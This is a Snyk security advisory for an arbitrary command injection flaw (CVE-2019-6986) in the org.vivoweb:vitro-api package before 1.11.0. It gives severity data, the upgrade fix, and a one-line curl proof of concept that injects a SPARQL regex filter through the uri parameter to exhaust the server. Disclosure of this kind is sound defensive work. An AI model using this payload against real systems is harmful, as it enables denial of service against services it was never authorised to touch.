Arbitrary Command Injection Affecting org.vivoweb:vitro-api package, versions [,1.11.0)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.76% (81st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Command Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JAVA-ORGVIVOWEB-3097700
  • published2 Nov 2022
  • disclosed13 May 2022
  • creditkevinbackhouse

Introduced: 13 May 2022

CVE-2019-6986  (opens in a new tab)
CWE-77  (opens in a new tab)

How to fix?

Upgrade org.vivoweb:vitro-api to version 1.11.0 or higher.

Overview

Affected versions of this package are vulnerable to Arbitrary Command Injection via the uri parameter, due to improper user-input sanitization.

PoC

curl http://172.18.0.10:8080/vivo/individual?uri=http%3A%2F%2Fvivoweb.org%2Fontology%2Fcore%23FacultyMember%3E%20%3Fp%20%3Fo%20.%20FILTER%20regex%28%22aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%21%22%2C%20%22%28.%2Aa%29%7B50%7D%22%29%20%7D%20%23%20

CVSS Scores

version 3.1